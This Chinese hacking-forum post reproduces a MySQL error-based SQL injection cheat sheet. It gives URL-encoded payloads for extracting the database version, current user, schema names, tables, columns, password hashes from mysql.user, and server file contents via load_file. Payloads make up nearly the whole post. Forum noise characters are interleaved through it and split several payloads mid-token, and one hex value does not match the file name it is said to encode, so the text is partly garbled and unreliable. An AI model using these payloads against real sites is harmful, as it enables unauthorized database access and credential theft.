找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2106|回复: 0
打印 上一主题 下一主题

Mysql暴错注入参考(pdf)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 11:00:46 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
本帖最后由 Nightmare 于 2013-3-17 14:20 编辑 5 Y* {4 j( Q1 N0 q  Z
) \/ ^: }6 I# H
* g1 |' p/ d3 S: e% B4 X# F
Mysql暴错注入参考(pdf),每天一贴。。。  ~6 v5 b0 {7 X' q# I
: K& _3 q' v9 {9 f  t
MySql Error Based Injection Reference
9 o+ V/ A0 |0 R8 P: C" R* X[Mysql暴错注入参考]" t7 b' C4 q" S" V! E  ]
Authornig0s1992
; E: O5 ]2 F& k$ G" x5 o! P  l4 jBlog:http://pnig0s1992.blog.51cto.com/9 j# ^! ~' n& F: A" ^  |+ H
TeAm:http://www.FreeBuf.com/
0 |9 e6 q( g( G  FMysql5.0.91下测试通过,对于5+的绝大部分版本可以测试成功
* L) T# @; \( Y9 R) p/ x小部分版本使用name_const()时会报错.可以用给出的Method.2测试+ Z% A4 Q4 Z# }
查询版本:4 Y2 r2 i3 F* A3 }, C3 {1 W
Method.1:and+exists(select*from+(select*from(select+name_const(@@version,0))a+
0 w$ k8 g; E* L( jjoin+(select+name_const(@@version,0))b)c)
" K' E) O) S- K% |, oMethod.2:and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(SELECT+version()))a+from+information_schema.tables+gro; k: f( m% l+ t0 v9 y
up by a)b)! u( c  y% T+ e4 u# O
查询当前用户:) b  g9 @; b+ |* p
Method.1:and+exists(select*from+(select*from(select+name_const(user(),0))a+join+(select+name_const(user(),0))b)c)
5 f& b6 ]( _& }" A  R( [Method.2:and+(select+1+from(select+count(*),concat((select+(select+user())+from+information_schema.tables+limit+0,1).floor(r
, X! a' T- F; y4 d0 L4 ?and(0)*2))x+from+information_schema.tables+group+by+x)a)
* Q7 ]; ]' ?3 Y2 o$ s1 A# ]查询当前数据库:* U; _; u, s: V* M
Method.1:and+exists(select*from+(select*from(select+name_const(database(),0))a+join+(select+name_const(database(),0))b)c)! @+ K1 B+ V# Y' m" l
Method.2:and+(select+1+from(select+count(*),concat((select+(select+database())+from+information_schema.tables+limit+0,1).flo
3 `8 E1 ]7 v: F9 E2 ]or(rand(0)*2))x+from+information_schema.tables+group+by+x)a)
, Y9 |) f3 M- u0 e; H5 Q依次爆库and+exists(select*from+(select*from(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+0 Q9 V% H; F. P
LIMIT+n,1),0))a+join+(select+name_const((SELECT+distinct+schema_name+FROM+information_schema.schemata+LIMIT+n,1),0))b)c) 将n0 G3 e3 N0 z) j
顺序替换
, x5 x9 T+ J& ^0 ?& v/ Y爆指定库数目:
" A4 s3 l1 F" s( Q: Sand+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(table_name)+FROM+`information_schema`.tables+WHERE+t# P7 P+ E/ t, a% v7 f
able_schema=0x6D7973716C))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group5 ^- U9 x! ~* l1 B
+by+x)a)+and+1=1 0x6D7973716C=mysql$ v/ M# S" L- c( W# ^
依次爆表:4 {# C6 B! x6 y0 g
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+table_name+FROM+information_schema.tables+Where+t
1 @' U) Q# y3 I" @  c& eable_schema=0x6D7973716C+limit+n,1))+from+information_schema.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.ta( b) D0 Y0 w* |$ K& j. \
bles+group+by+x)a)+and+1=1
4 y4 {( O: A8 Y8 \& `' ^. r' J0x6D7973716C=Mysql 将n顺序替换
% i% G$ E' a4 a2 \爆表内字段数目:7 ]8 A9 N( x  Q9 i
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+count(column_name)+FROM+`information_schema`.columns+WHERE
- e. y" j1 n8 ?+ _3 w9 Z' K+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976))+from+information_schema.tables+limit+0,1),floor(ran
) }4 `# Q! D  b9 c0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1% `. D$ {0 u* L+ V
依次爆字段:0 Q: E4 u5 G) Y( n& y* Z0 T
and+(select+1+from(select+count(*),concat((select+(select+(SELECT+distinct+column_name+FROM+information_schema.columns+Where
: ^) D  O& Y6 p8 W6 q+ L" P: y+table_schema=0x6D7973716C+AND+table_name=0x636F6C756D6E735F70726976+limit+n,1))+from+information_schema.tables+limit+0,1/ d# i1 h7 y1 K. e* i
loor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=1  将n顺序替换& ], b  y/ s: J! [' {+ n4 ~
依次暴内容:
2 n6 v7 s2 b8 T& oand+(select+1+from(select+count(*),concat((select+(select+(select+password+from+mysql.user+limit+n,1))+from+information_sche
( U4 \: w- G7 F) f0 h& i  ?5 c4 vma.tables+limit+0,1).floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+1=10 D7 n0 a; J3 q3 ], `  j5 E' f
将n顺序替换* ]6 |2 [7 L) c  n8 t( H2 J: c
爆文件内容:
+ G5 b+ ]/ o& H9 xand+(SELECT+1+FROM+(select count(*),concat(floor(rand(0)*2),(SELECT+substring(load_file(0x433A5C5C746573742E617361),1,64)))a
7 ~2 r7 W; F5 q; o' d% Yfrom+information_schema.tables+group+by+a)b)
" @) D5 V9 f! @" o& x1 g$ q0x433A5C5C626F6F742E696E69=C:\\boot.ini 因为只能爆出64字节的内容,需要用Substring()控制显示的字节
8 C6 q/ R; ~9 w9 l0 DThx for reading.) K) |3 h+ m" L5 C" w; P; c

' y* C4 j6 T% {/ I- d& S- S不要下载也可以, ' k4 C  K& N! z* Z0 \

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表